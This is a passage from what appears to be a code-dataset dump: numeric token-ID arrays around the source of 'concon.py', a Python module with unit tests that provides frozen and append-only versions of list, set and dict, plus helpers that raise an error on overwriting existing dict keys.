29896,
330,
1495,
13,
13,
13,
29992,
11014,
3644,
29898,
11014,
29892,
376,
3782,
885,
326,
493,
3625,
470,
694,
3740,
14998,
304,
10675,
501,
3624,
964,
23157,
13,
1990,
4321,
1168,
3259,
6678,
29879,
29898,
3057,
8259,
1125,
13,
1678,
822,
1243,
29918,
710,
29906,
791,
29918,
2541,
29918,
524,
29898,
1311,
1125,
13,
4706,
1426,
353,
376,
29906,
7477,
29908,
13,
4706,
1583,
29889,
9294,
9843,
29898,
710,
29918,
517,
29918,
5441,
29918,
19529,
279,
29898,
726,
511,
13223,
29636,
279,
29898,
29906,
29892,
10340,
543,
4912,
5783,
13,
13,
1678,
822,
1243,
29918,
710,
29906,
791,
29918,
2541,
29918,
7411,
29918,
19145,
29898,
1311,
1125,
13,
4706,
1426,
353,
376,
29906,
29889,
7477,
29908,
13,
4706,
1583,
29889,
9294,
9843,
29898,
710,
29918,
517,
29918,
5441,
29918,
19529,
279,
29898,
726,
511,
13223,
29636,
279,
29898,
29906,
1696,
10340,
543,
4912,
5783,
13,
13,
1678,
822,
1243,
29918,
710,
29906,
791,
29918,
2541,
29918,
7411,
29898,
1311,
1125,
13,
4706,
1426,
353,
376,
29906,
29889,
29900,
7477,
29908,
13,
4706,
1583,
29889,
9294,
9843,
29898,
710,
29918,
517,
29918,
5441,
29918,
19529,
279,
29898,
726,
511,
13223,
29636,
279,
29898,
29906,
29889,
29900,
29892,
10340,
543,
4912,
5783,
13,
13,
1678,
822,
1243,
29918,
710,
29906,
791,
29918,
2541,
29918,
7411,
29918,
9812,
29918,
17990,
2459,
29898,
1311,
1125,
13,
4706,
1426,
353,
376,
29906,
29889,
29900,
29896,
29906,
29941,
29946,
29945,
29953,
29955,
29947,
29929,
29900,
29896,
7477,
29908,
13,
4706,
1583,
29889,
9294,
2499,
3242,
9843,
29898,
710,
29918,
517,
29918,
5441,
29918,
19529,
279,
29898,
726,
511,
13,
462,
1669,
13223,
29636,
279,
29898,
29906,
29889,
29900,
29896,
29906,
29941,
29946,
29945,
29953,
29955,
29947,
29929,
29900,
29896,
29892,
10340,
543,
4912,
5783,
13,
13,
1678,
822,
1243,
29918,
16121,
29918,
791,
29906,
710,
29898,
1311,
1125,
13,
4706,
659,
353,
13223,
29636,
279,
29898,
29906,
29892,
10340,
543,
4912,
1159,
13,
4706,
1583,
29889,
9294,
9843,
29898,
5441,
29918,
19529,
279,
29918,
517,
29918,
710,
29898,
791,
511,
376,
29906,
7477,
1159,
13,
13,
1678,
822,
1243,
29918,
29883,
572,
29916,
29918,
710,
29906,
791,
29898,
1311,
1125,
13,
4706,
1426,
353,
376,
29906,
29889,
29896,
7477,
847,
259,
269,
29908,
13,
4706,
1583,
29889,
9294,
9843,
29898,
710,
29918,
517,
29918,
5441,
29918,
19529,
279,
29898,
726,
511,
13,
462,
308,
13223,
29636,
279,
29898,
29906,
29889,
29896,
29892,
10340,
543,
4912,
29914,
29879,
5783,
13,
13,
1678,
822,
1243,
29918,
29883,
572,
29916,
29918,
791,
29906,
710,
29898,
1311,
1125,
13,
4706,
659,
353,
13223,
29636,
279,
29898,
29906,
29889,
29896,
29892,
10340,
543,
4912,
29914,
29879,
1159,
13,
4706,
1583,
29889,
9294,
9843,
29898,
5441,
29918,
19529,
279,
29918,
517,
29918,
710,
29898,
791,
511,
376,
29906,
29889,
29896,
7477,
29914,
29879,
1159,
13,
13,
1678,
822,
1243,
29918,
6310,
29918,
710,
29906,
791,
29898,
1311,
1125,
13,
4706,
1426,
353,
376,
29871,
376,
13,
4706,
1583,
29889,
9294,
9843,
29898,
710,
29918,
517,
29918,
5441,
29918,
19529,
279,
29898,
726,
511,
13223,
29636,
279,
29898,
29900,
29892,
10340,
2433,
29896,
8785,
13,
13,
1678,
822,
1243,
29918,
6310,
29918,
791,
29906,
710,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9294,
9843,
29898,
5441,
29918,
19529,
279,
29918,
517,
29918,
710,
29898,
8516,
511,
20569,
13,
13,
1678,
822,
1243,
29918,
6229,
2222,
29918,
791,
29906,
710,
29898,
1311,
1125,
13,
4706,
1374,
29918,
791,
353,
13223,
29636,
279,
29898,
29941,
29892,
10340,
543,
29896,
1159,
13,
4706,
1583,
29889,
9294,
9843,
29898,
5441,
29918,
19529,
279,
29918,
517,
29918,
710,
29898,
561,
29918,
791,
511,
376,
29941,
1159,
13,
13,
4706,
1374,
29918,
791,
29906,
353,
13223,
29636,
279,
29898,
29941,
29892,
10340,
29922,
6229,
2673,
2222,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
5441,
29918,
19529,
279,
29918,
517,
29918,
710,
29898,
561,
29918,
791,
29906,
511,
376,
29941,
1159,
13,
13,
13,
1753,
679,
29918,
726,
29918,
15204,
29918,
1454,
29918,
5552,
29898,
3018,
1169,
29918,
1481,
29892,
12421,
1125,
13,
1678,
9995,
22351,
278,
14705,
660,
3542,
6103,
363,
12421,
1283,
278,
3740,
322,
736,
967,
1426,
29889,
13,
1678,
9995,
13,
1678,
11109,
353,
679,
29918,
8030,
29918,
1454,
29918,
5552,
29898,
3018,
1169,
29918,
1481,
29892,
12421,
29897,
13,
1678,
736,
11109,
29889,
726,
580,
13,
13,
13,
1753,
731,
29918,
726,
29918,
15204,
29918,
1454,
29918,
5552,
29898,
3018,
1169,
29918,
1481,
29892,
12421,
29892,
659,
1125,
13,
1678,
9995,
22351,
278,
14705,
660,
3542,
6103,
363,
12421,
1283,
278,
3740,
322,
731,
967,
1426,
304,
659,
29889,
13,
13,
1678,
910,
4225,
304,
7135,
278,
1492,
1741,
313,
17303,
7182,
29897,
577,
393,
3201,
1169,
3120,
4947,
13,
1678,
451,
2164,
29889,
13,
1678,
9995,
13,
1678,
11109,
353,
679,
29918,
8030,
29918,
1454,
29918,
5552,
29898,
3018,
1169,
29918,
1481,
29892,
12421,
29897,
13,
1678,
11109,
29889,
12038,
29898,
791,
29897,
13,
1678,
396,
382,
2415,
278,
7182,
393,
3201,
1169,
3120,
338,
19866,
304,
29901,
13,
1678,
11109,
29889,
5628,
292,
12881,
3276,
29889,
21976,
580,
13,
13,
13,
1753,
679,
29918,
8030,
29918,
1454,
29918,
5552,
29898,
3018,
1169,
29918,
1481,
29892,
12421,
29918,
978,
1125,
13,
1678,
9995,
7106,
278,
14705,
11109,
297,
278,
3740,
607,
14423,
278,
5352,
6790,
29889,
13,
1678,
9995,
13,
1678,
921,
29918,
15204,
353,
1020,
1169,
29918,
1481,
29889,
657,
29918,
5628,
943,
29898,
5552,
29918,
978,
9601,
29900,
29962,
13,
1678,
3855,
29873,
29918,
8030,
353,
921,
29918,
15204,
29889,
6451,
13,
1678,
736,
3855,
29873,
29918,
8030,
13,
2
] |
concon.py | nejucomo/concon | 0 | 31891 | <reponame>nejucomo/concon<filename>concon.py<gh_stars>0
"""
concon (CONstrained CONtainers) provides usefully constrained container
subtypes as well as utilities for defining new constrained subtypes and
append-only dict modification.
There are two flavors of constraints: frozen and appendonly. The former
prevents any modification and the latter prevents any modification of
an existing entry. These two flavors of constraint are applied to the
set, list, and dict types.
(Note: frozenset is already a builtin, but is also provided in this
module scope for consistency.)
"""
import unittest
from collections import Mapping
# I. General Constraint abstractions
class ConstraintError (TypeError):
"""
ConstraintError is the base Exception type for any violation of
some constraint.
"""
Template = 'Attempt to call {!r}.{} {!r} {!r} violates constraint.'
def __str__(self):
return self.Template.format(*self.args)
@classmethod
def block(cls, method):
"""
This decorator raises a ConstraintError (or subclass) on any
call to the given method.
"""
def blocked_method(self, *a, **kw):
raise cls(self, method.__name__, a, kw)
return blocked_method
def define_constrained_subtype(prefix, base, blockednames, clsdict=None):
"""
Define a subtype which blocks a list of methods.
@param prefix: The subtype name prefix. This is prepended to the
base type name. This convention is baked in for
API consistency.
@param base: The base type to derive from.
@param blockednames: A list of method name strings. All of these
will be blocked.
@param clsdict: None or a dict which will be modified to become the
subtype class dict.
@return: The new subtype.
@raise: OverwriteError - If clsdict contains an entry in blockednames.
"""
name = prefix + base.__name__
clsdict = clsdict or {}
doc = clsdict.get('__doc__', '')
doc = 'An {} extension of {}.\n{}'.format(prefix, base.__name__, doc)
clsdict['__doc__'] = doc
setitem_without_overwrite(
clsdict,
'get_blocked_method_names',
lambda self: iter(blockednames),
)
for bname in blockednames:
setitem_without_overwrite(
clsdict,
bname,
ConstraintError.block(getattr(base, bname)),
)
return type(name, (base,), clsdict)
# II. Overwrite utilities
class OverwriteError (ConstraintError, KeyError):
"""
OverwriteError is raised when an attempt to overwrite a value in an
append-only structure occurs.
"""
Template = ('Attempted overwrite of key {!r} with '
'new value {!r} overwriting old value {!r}')
def __init__(self, key, newvalue, oldvalue):
KeyError.__init__(self, key, newvalue, oldvalue)
def setitem_without_overwrite(d, key, value):
"""
@param d: An instance of dict, that is: isinstance(d, dict)
@param key: a key
@param value: a value to associate with the key
@return: None
@raise: OverwriteError if the key is already present in d.
"""
if key in d:
raise OverwriteError(key, value, d[key])
else:
dict.__setitem__(d, key, value)
def update_without_overwrite(d, *args, **kwds):
"""
This has the same interface as dict.update except it uses
setitem_without_overwrite for all updates.
Note: The implementation is derived from
collections.MutableMapping.update.
"""
if args:
assert len(args) == 1, \
'At most one positional parameter is allowed: {0!r}'.format(args)
(other,) = args
if isinstance(other, Mapping):
for key in other:
setitem_without_overwrite(d, key, other[key])
elif hasattr(other, "keys"):
for key in other.keys():
setitem_without_overwrite(d, key, other[key])
else:
for key, value in other:
setitem_without_overwrite(d, key, value)
for key, value in kwds.items():
setitem_without_overwrite(d, key, value)
# III. Concrete Constrained Containers
frozenset = frozenset # Promote this builtin to module scope for consistency.
frozenlist = define_constrained_subtype(
'frozen', list,
['__delitem__', '__delslice__', '__iadd__', '__imul__', '__setitem__',
'__setslice__', 'append', 'extend', 'insert', 'pop', 'remove',
'reverse', 'sort'])
frozendict = define_constrained_subtype(
'frozen', dict,
['__delitem__', '__setitem__', 'clear', 'pop', 'popitem',
'setdefault', 'update'])
appendonlyset = define_constrained_subtype(
'appendonly', set,
['__iand__', '__isub__', '__ixor__', 'clear', 'difference_update',
'discard', 'intersection_update', 'pop', 'remove',
'symmetric_difference_update'])
appendonlylist = define_constrained_subtype(
'appendonly', list,
['__setitem__', '__delitem__', 'insert', 'reverse', 'pop', 'remove'])
appendonlydict = define_constrained_subtype(
'appendonly', dict,
['__delitem__', 'pop', 'popitem', 'clear'],
{'__setitem__': setitem_without_overwrite,
'update': update_without_overwrite})
# IV. Unittests
class SetItemWithoutOverwriteTests (unittest.TestCase):
def test_setitem_without_overwrite__no_overwrite(self):
d = {'a': 'apple'}
setitem_without_overwrite(d, 'b', 'banana')
self.assertEqual(d, {'a': 'apple', 'b': 'banana'})
def test_setitem_without_overwrite__with_overwrite(self):
d = {'a': 'apple'}
self.assertRaises(
OverwriteError,
setitem_without_overwrite,
d,
'a',
'applause',
)
def test_update_without_overwrite__no_overwrite(self):
d = {'a': 'apple'}
update_without_overwrite(d, {'b': 'banana'})
self.assertEqual(d, {'a': 'apple', 'b': 'banana'})
def test_update_without_overwrite__with_overwrite(self):
d = {'a': 'apple'}
self.assertRaises(
OverwriteError,
update_without_overwrite,
d,
{'a': 'applause'},
)
def test_update_without_overwrite__with_NonMappingWithKeysAndGetItem(self):
class NonMappingWithKeysAndGetItem (object):
def keys(self):
return ['a', 'b', 'c']
def __getitem__(self, key):
return 42
d = {}
update_without_overwrite(d, NonMappingWithKeysAndGetItem())
self.assertEqual(d, {'a': 42, 'b': 42, 'c': 42})
def test_update_without_overwrite__with_keyvalue_sequence(self):
d = {}
update_without_overwrite(d, [('a', 0), ('b', 1), ('c', 2)])
self.assertEqual(d, {'a': 0, 'b': 1, 'c': 2})
def test_update_without_overwrite__with_keywords(self):
d = {}
update_without_overwrite(d, a=0, b=1, c=2)
self.assertEqual(d, {'a': 0, 'b': 1, 'c': 2})
class BlockedMethodsTests (unittest.TestCase):
def test_frozendict(self):
self._check_blocked_methods(frozendict({}))
def test_frozenlist(self):
self._check_blocked_methods(frozenlist({}))
# Note, we do not test frozenset.
def test_appendonlydict(self):
self._check_blocked_methods(appendonlydict({}))
def test_appendonlylist(self):
self._check_blocked_methods(appendonlylist({}))
def test_appendonlyset(self):
self._check_blocked_methods(appendonlyset({}))
def _check_blocked_methods(self, obj):
for name in obj.get_blocked_method_names():
method = getattr(obj, name)
self.assertRaises(ConstraintError, method, 42)
class ContraintErrorTests (unittest.TestCase):
def test__str__(self):
error = ConstraintError(
None,
'foo',
('blah', 42),
dict(wombat='awesome!'),
)
self.assertRegexpMatches(
str(error),
r'^Attempt to call .* violates constraint\.$',
)
| [
1,
529,
276,
1112,
420,
29958,
484,
4900,
23700,
29914,
535,
535,
29966,
9507,
29958,
535,
535,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
15945,
29908,
13,
535,
535,
313,
6007,
4151,
1312,
8707,
2408,
414,
29897,
8128,
671,
3730,
1040,
22042,
5639,
13,
1491,
8768,
408,
1532,
408,
3667,
1907,
363,
16184,
716,
1040,
22042,
1014,
8768,
322,
13,
4397,
29899,
6194,
9657,
21733,
29889,
13,
13,
8439,
526,
1023,
21054,
943,
310,
11938,
29901,
14671,
2256,
322,
9773,
6194,
29889,
29871,
450,
4642,
13,
18921,
29879,
738,
21733,
322,
278,
7480,
28057,
738,
21733,
310,
13,
273,
5923,
6251,
29889,
29871,
4525,
1023,
21054,
943,
310,
7276,
526,
7436,
304,
278,
13,
842,
29892,
1051,
29892,
322,
9657,
4072,
29889,
13,
13,
29898,
9842,
29901,
14671,
29920,
575,
300,
338,
2307,
263,
4240,
262,
29892,
541,
338,
884,
4944,
297,
445,
13,
5453,
6874,
363,
5718,
3819,
1846,
13,
15945,
29908,
13,
13,
5215,
443,
27958,
13,
3166,
16250,
1053,
341,
20304,
13,
13,
13,
29937,
306,
29889,
4593,
1281,
4151,
524,
27086,
1953,
13,
13,
1990,
1281,
4151,
524,
2392,
313,
1542,
2392,
1125,
13,
1678,
9995,
13,
1678,
1281,
4151,
524,
2392,
338,
278,
2967,
8960,
1134,
363,
738,
5537,
362,
310,
13,
1678,
777,
7276,
29889,
13,
1678,
9995,
13,
1678,
25663,
353,
525,
4165,
3456,
304,
1246,
426,
29991,
29878,
1836,
8875,
426,
29991,
29878,
29913,
426,
29991,
29878,
29913,
5537,
1078,
7276,
6169,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
1583,
29889,
6733,
29889,
4830,
10456,
1311,
29889,
5085,
29897,
13,
13,
1678,
732,
1990,
5696,
13,
1678,
822,
2908,
29898,
25932,
29892,
1158,
1125,
13,
4706,
9995,
13,
4706,
910,
10200,
1061,
1153,
4637,
263,
1281,
4151,
524,
2392,
313,
272,
19481,
29897,
373,
738,
13,
4706,
1246,
304,
278,
2183,
1158,
29889,
13,
4706,
9995,
13,
4706,
822,
24370,
29918,
5696,
29898,
1311,
29892,
334,
29874,
29892,
3579,
11022,
1125,
13,
9651,
12020,
1067,
29879,
29898,
1311,
29892,
1158,
17255,
978,
1649,
29892,
263,
29892,
9049,
29897,
13,
4706,
736,
24370,
29918,
5696,
13,
13,
13,
1753,
4529,
29918,
3075,
22042,
29918,
1491,
1853,
29898,
13506,
29892,
2967,
29892,
24370,
7039,
29892,
1067,
4928,
919,
29922,
8516,
1125,
13,
1678,
9995,
13,
1678,
22402,
263,
1014,
1853,
607,
10930,
263,
1051,
310,
3519,
29889,
13,
13,
1678,
732,
3207,
10944,
29901,
450,
1014,
1853,
1024,
10944,
29889,
29871,
910,
338,
8273,
2760,
304,
278,
13,
462,
259,
2967,
1134,
1024,
29889,
29871,
910,
15687,
338,
289,
12535,
297,
363,
13,
462,
259,
3450,
5718,
3819,
29889,
13,
13,
1678,
732,
3207,
2967,
29901,
450,
2967,
1134,
304,
21340,
515,
29889,
13,
13,
1678,
732,
3207,
24370,
7039,
29901,
319,
1051,
310,
1158,
1024,
6031,
29889,
29871,
2178,
310,
1438,
13,
462,
308,
674,
367,
24370,
29889,
13,
13,
1678,
732,
3207,
1067,
4928,
919,
29901,
6213,
470,
263,
9657,
607,
674,
367,
9120,
304,
4953,
278,
13,
462,
1678,
1014,
1853,
770,
9657,
29889,
13,
13,
1678,
732,
2457,
29901,
450,
716,
1014,
1853,
29889,
13,
13,
1678,
732,
22692,
29901,
6811,
3539,
2392,
448,
960,
1067,
4928,
919,
3743,
385,
6251,
297,
24370,
7039,
29889,
13,
1678,
9995,
13,
1678,
1024,
353,
10944,
718,
2967,
17255,
978,
1649,
13,
13,
1678,
1067,
4928,
919,
353,
1067,
4928,
919,
470,
6571,
13,
13,
1678,
1574,
353,
1067,
4928,
919,
29889,
657,
877,
1649,
1514,
1649,
742,
27255,
13,
1678,
1574,
353,
525,
2744,
6571,
6081,
310,
426,
1836,
29905,
29876,
8875,
4286,
4830,
29898,
13506,
29892,
2967,
17255,
978,
1649,
29892,
1574,
29897,
13,
1678,
1067,
4928,
919,
1839,
1649,
1514,
1649,
2033,
353,
1574,
13,
13,
1678,
731,
667,
29918,
14037,
29918,
957,
3539,
29898,
13,
4706,
1067,
4928,
919,
29892,
13,
4706,
525,
657,
29918,
1271,
287,
29918,
5696,
29918,
7039,
742,
13,
4706,
14013,
1583,
29901,
4256,
29898,
1271,
287,
7039,
511,
13,
1678,
1723,
13,
13,
1678,
363,
289,
978,
297,
24370,
7039,
29901,
13,
4706,
731,
667,
29918,
14037,
29918,
957,
3539,
29898,
13,
9651,
1067,
4928,
919,
29892,
13,
9651,
289,
978,
29892,
13,
9651,
1281,
4151,
524,
2392,
29889,
1271,
29898,
657,
5552,
29898,
3188,
29892,
289,
978,
8243,
13,
4706,
1723,
13,
13,
1678,
736,
1134,
29898,
978,
29892,
313,
3188,
29892,
511,
1067,
4928,
919,
29897,
13,
13,
13,
29937,
1944,
29889,
6811,
3539,
3667,
1907,
13,
13,
1990,
6811,
3539,
2392,
313,
21529,
2392,
29892,
7670,
2392,
1125,
13,
1678,
9995,
13,
1678,
6811,
3539,
2392,
338,
10425,
746,
385,
4218,
304,
26556,
263,
995,
297,
385,
13,
1678,
9773,
29899,
6194,
3829,
10008,
29889,
13,
1678,
9995,
13,
13,
1678,
25663,
353,
6702,
4165,
3456,
287,
26556,
310,
1820,
426,
29991,
29878,
29913,
411,
525,
13,
18884,
525,
1482,
995,
426,
29991,
29878,
29913,
975,
16554,
2030,
995,
426,
29991,
29878,
29913,
1495,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1820,
29892,
716,
1767,
29892,
2030,
1767,
1125,
13,
4706,
7670,
2392,
17255,
2344,
12035,
1311,
29892,
1820,
29892,
716,
1767,
29892,
2030,
1767,
29897,
13,
13,
13,
1753,
731,
667,
29918,
14037,
29918,
957,
3539,
29898,
29881,
29892,
1820,
29892,
995,
1125,
13,
1678,
9995,
13,
1678,
732,
3207,
270,
29901,
530,
2777,
310,
9657,
29892,
393,
338,
29901,
338,
8758,
29898,
29881,
29892,
9657,
29897,
13,
1678,
732,
3207,
1820,
29901,
263,
1820,
13,
1678,
732,
3207,
995,
29901,
263,
995,
304,
25836,
411,
278,
1820,
13,
13,
1678,
732,
2457,
29901,
6213,
13,
13,
1678,
732,
22692,
29901,
6811,
3539,
2392,
565,
278,
1820,
338,
2307,
2198,
297,
270,
29889,
13,
1678,
9995,
13,
1678,
565,
1820,
297,
270,
29901,
13,
4706,
12020,
6811,
3539,
2392,
29898,
1989,
29892,
995,
29892,
270,
29961,
1989,
2314,
13,
1678,
1683,
29901,
13,
4706,
9657,
17255,
842,
667,
12035,
29881,
29892,
1820,
29892,
995,
29897,
13,
13,
13,
1753,
2767,
29918,
14037,
29918,
957,
3539,
29898,
29881,
29892,
334,
5085,
29892,
3579,
11022,
6289,
1125,
13,
1678,
9995,
13,
1678,
910,
756,
278,
1021,
5067,
408,
9657,
29889,
5504,
5174,
372,
3913,
13,
1678,
731,
667,
29918,
14037,
29918,
957,
3539,
363,
599,
11217,
29889,
13,
13,
1678,
3940,
29901,
450,
5314,
338,
10723,
515,
13,
1678,
16250,
29889,
15211,
15845,
29889,
5504,
29889,
13,
1678,
9995,
13,
1678,
565,
6389,
29901,
13,
4706,
4974,
7431,
29898,
5085,
29897,
1275,
29871,
29896,
29892,
320,
13,
9651,
525,
4178,
1556,
697,
2602,
284,
3443,
338,
6068,
29901,
426,
29900,
29991,
29878,
29913,
4286,
4830,
29898,
5085,
29897,
13,
13,
4706,
313,
1228,
29892,
29897,
353,
6389,
13,
4706,
565,
338,
8758,
29898,
1228,
29892,
341,
20304,
1125,
13,
9651,
363,
1820,
297,
916,
29901,
13,
18884,
731,
667,
29918,
14037,
29918,
957,
3539,
29898,
29881,
29892,
1820,
29892,
916,
29961,
1989,
2314,
13,
4706,
25342,
756,
5552,
29898,
1228,
29892,
376,
8149,
29908,
1125,
13,
9651,
363,
1820,
297,
916,
29889,
8149,
7295,
13,
18884,
731,
667,
29918,
14037,
29918,
957,
3539,
29898,
29881,
29892,
1820,
29892,
916,
29961,
1989,
2314,
13,
4706,
1683,
29901,
13,
9651,
363,
1820,
29892,
995,
297,
916,
29901,
13,
18884,
731,
667,
29918,
14037,
29918,
957,
3539,
29898,
29881,
29892,
1820,
29892,
995,
29897,
13,
13,
1678,
363,
1820,
29892,
995,
297,
9049,
6289,
29889,
7076,
7295,
13,
4706,
731,
667,
29918,
14037,
29918,
957,
3539,
29898,
29881,
29892,
1820,
29892,
995,
29897,
13,
13,
13,
29937,
4786,
29889,
1281,
9084,
1281,
4151,
1312,
2866,
475,
414,
13,
13,
29888,
16997,
575,
300,
353,
14671,
29920,
575,
300,
29871,
396,
9705,
866,
445,
4240,
262,
304,
3883,
6874,
363,
5718,
3819,
29889,
13,
13,
29888,
307,
2256,
1761,
353,
4529,
29918,
3075,
22042,
29918,
1491,
1853,
29898,
13,
1678,
525,
29888,
307,
2256,
742,
1051,
29892,
13,
1678,
6024,
1649,
6144,
667,
1649,
742,
525,
1649,
29881,
1379,
5897,
1649,
742,
525,
1649,
29875,
1202,
1649,
742,
525,
1649,
326,
352,
1649,
742,
525,
1649,
842,
667,
1649,
742,
13,
268,
525,
1649,
7224,
5897,
1649,
742,
525,
4397,
742,
525,
21843,
742,
525,
7851,
742,
525,
7323,
742,
525,
5992,
742,
13,
268,
525,
24244,
742,
525,
6605,
11287,
13,
13,
29888,
16997,
355,
919,
353,
4529,
29918,
3075,
22042,
29918,
1491,
1853,
29898,
13,
1678,
525,
29888,
307,
2256,
742,
9657,
29892,
13,
1678,
6024,
1649,
6144,
667,
1649,
742,
525,
1649,
842,
667,
1649,
742,
525,
8551,
742,
525,
7323,
742,
525,
7323,
667,
742,
13,
268,
525,
842,
4381,
742,
525,
5504,
11287,
13,
13,
4397,
6194,
842,
353,
4529,
29918,
3075,
22042,
29918,
1491,
1853,
29898,
13,
1678,
525,
4397,
6194,
742,
731,
29892,
13,
1678,
6024,
1649,
29875,
392,
1649,
742,
525,
1649,
275,
431,
1649,
742,
525,
1649,
861,
272,
1649,
742,
525,
8551,
742,
525,
29881,
17678,
29918,
5504,
742,
13,
268,
525,
2218,
7543,
742,
525,
1639,
2042,
29918,
5504,
742,
525,
7323,
742,
525,
5992,
742,
13,
268,
525,
11967,
16414,
29918,
29881,
17678,
29918,
5504,
11287,
13,
13,
4397,
6194,
1761,
353,
4529,
29918,
3075,
22042,
29918,
1491,
1853,
29898,
13,
1678,
525,
4397,
6194,
742,
1051,
29892,
13,
1678,
6024,
1649,
842,
667,
1649,
742,
525,
1649,
6144,
667,
1649,
742,
525,
7851,
742,
525,
24244,
742,
525,
7323,
742,
525,
5992,
11287,
13,
13,
4397,
6194,
8977,
353,
4529,
29918,
3075,
22042,
29918,
1491,
1853,
29898,
13,
1678,
525,
4397,
6194,
742,
9657,
29892,
13,
1678,
6024,
1649,
6144,
667,
1649,
742,
525,
7323,
742,
525,
7323,
667,
742,
525,
8551,
7464,
13,
1678,
11117,
1649,
842,
667,
1649,
2396,
731,
667,
29918,
14037,
29918,
957,
3539,
29892,
13,
268,
525,
5504,
2396,
2767,
29918,
14037,
29918,
957,
3539,
1800,
13,
13,
13,
29937,
6599,
29889,
853,
986,
9197,
13,
13,
1990,
3789,
2001,
3047,
449,
3563,
3539,
24376,
313,
348,
27958,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
1243,
29918,
842,
667,
29918,
14037,
29918,
957,
3539,
1649,
1217,
29918,
957,
3539,
29898,
1311,
1125,
13,
4706,
270,
353,
11117,
29874,
2396,
525,
11548,
10827,
13,
4706,
731,
667,
29918,
14037,
29918,
957,
3539,
29898,
29881,
29892,
525,
29890,
742,
525,
2571,
1648,
1495,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29881,
29892,
11117,
29874,
2396,
525,
11548,
742,
525,
29890,
2396,
525,
2571,
1648,
29915,
1800,
13,
13,
1678,
822,
1243,
29918,
842,
667,
29918,
14037,
29918,
957,
3539,
1649,
2541,
29918,
957,
3539,
29898,
1311,
1125,
13,
4706,
270,
353,
11117,
29874,
2396,
525,
11548,
10827,
13,
4706,
1583,
29889,
9294,
29934,
1759,
267,
29898,
13,
9651,
6811,
3539,
2392,
29892,
13,
9651,
731,
667,
29918,
14037,
29918,
957,
3539,
29892,
13,
9651,
270,
29892,
13,
9651,
525,
29874,
742,
13,
9651,
525,
932,
433,
1509,
742,
13,
4706,
1723,
13,
13,
1678,
822,
1243,
29918,
5504,
29918,
14037,
29918,
957,
3539,
1649,
1217,
29918,
957,
3539,
29898,
1311,
1125,
13,
4706,
270,
353,
11117,
29874,
2396,
525,
11548,
10827,
13,
4706,
2767,
29918,
14037,
29918,
957,
3539,
29898,
29881,
29892,
11117,
29890,
2396,
525,
2571,
1648,
29915,
1800,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29881,
29892,
11117,
29874,
2396,
525,
11548,
742,
525,
29890,
2396,
525,
2571,
1648,
29915,
1800,
13,
13,
1678,
822,
1243,
29918,
5504,
29918,
14037,
29918,
957,
3539,
1649,
2541,
29918,
957,
3539,
29898,
1311,
1125,
13,
4706,
270,
353,
11117,
29874,
2396,
525,
11548,
10827,
13,
4706,
1583,
29889,
9294,
29934,
1759,
267,
29898,
13,
9651,
6811,
3539,
2392,
29892,
13,
9651,
2767,
29918,
14037,
29918,
957,
3539,
29892,
13,
9651,
270,
29892,
13,
9651,
11117,
29874,
2396,
525,
932,
433,
1509,
16675,
13,
4706,
1723,
13,
13,
1678,
822,
1243,
29918,
5504,
29918,
14037,
29918,
957,
3539,
1649,
2541,
29918,
12283,
15845,
3047,
15506,
2855,
2577,
2001,
29898,
1311,
1125,
13,
4706,
770,
10050,
15845,
3047,
15506,
2855,
2577,
2001,
313,
3318,
1125,
13,
9651,
822,
6611,
29898,
1311,
1125,
13,
18884,
736,
6024,
29874,
742,
525,
29890,
742,
525,
29883,
2033,
13,
13,
9651,
822,
4770,
657,
667,
12035,
1311,
29892,
1820,
1125,
13,
18884,
736,
29871,
29946,
29906,
13,
13,
4706,
270,
353,
6571,
13,
4706,
2767,
29918,
14037,
29918,
957,
3539,
29898,
29881,
29892,
10050,
15845,
3047,
15506,
2855,
2577,
2001,
3101,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29881,
29892,
11117,
29874,
2396,
29871,
29946,
29906,
29892,
525,
29890,
2396,
29871,
29946,
29906,
29892,
525,
29883,
2396,
29871,
29946,
29906,
1800,
13,
13,
1678,
822,
1243,
29918,
5504,
29918,
14037,
29918,
957,
3539,
1649,
2541,
29918,
1989,
1767,
29918,
16506,
29898,
1311,
1125,
13,
4706,
270,
353,
6571,
13,
4706,
2767,
29918,
14037,
29918,
957,
3539,
29898,
29881,
29892,
518,
877,
29874,
742,
29871,
29900,
511,
6702,
29890,
742,
29871,
29896,
511,
6702,
29883,
742,
29871,
29906,
29897,
2314,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29881,
29892,
11117,
29874,
2396,
29871,
29900,
29892,
525,
29890,
2396,
29871,
29896,
29892,
525,
29883,
2396,
29871,
29906,
1800,
13,
13,
1678,
822,
1243,
29918,
5504,
29918,
14037,
29918,
957,
3539,
1649,
2541,
29918,
1989,
9303,
29898,
1311,
1125,
13,
4706,
270,
353,
6571,
13,
4706,
2767,
29918,
14037,
29918,
957,
3539,
29898,
29881,
29892,
263,
29922,
29900,
29892,
289,
29922,
29896,
29892,
274,
29922,
29906,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29881,
29892,
11117,
29874,
2396,
29871,
29900,
29892,
525,
29890,
2396,
29871,
29896,
29892,
525,
29883,
2396,
29871,
29906,
1800,
13,
13,
13,
1990,
15658,
287,
26112,
24376,
313,
348,
27958,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
1243,
29918,
29888,
16997,
355,
919,
29898,
1311,
1125,
13,
4706,
1583,
3032,
3198,
29918,
1271,
287,
29918,
23515,
29898,
29888,
16997,
355,
919,
3319,
20073,
13,
13,
1678,
822,
1243,
29918,
29888,
307,
2256,
1761,
29898,
1311,
1125,
13,
4706,
1583,
3032,
3198,
29918,
1271,
287,
29918,
23515,
29898,
29888,
307,
2256,
1761,
3319,
20073,
13,
13,
1678,
396,
3940,
29892,
591,
437,
451,
1243,
14671,
29920,
575,
300,
29889,
13,
13,
1678,
822,
1243,
29918,
4397,
6194,
8977,
29898,
1311,
1125,
13,
4706,
1583,
3032,
3198,
29918,
1271,
287,
29918,
23515,
29898,
4397,
6194,
8977,
3319,
20073,
13,
13,
1678,
822,
1243,
29918,
4397,
6194,
1761,
29898,
1311,
1125,
13,
4706,
1583,
3032,
3198,
29918,
1271,
287,
29918,
23515,
29898,
4397,
6194,
1761,
3319,
20073,
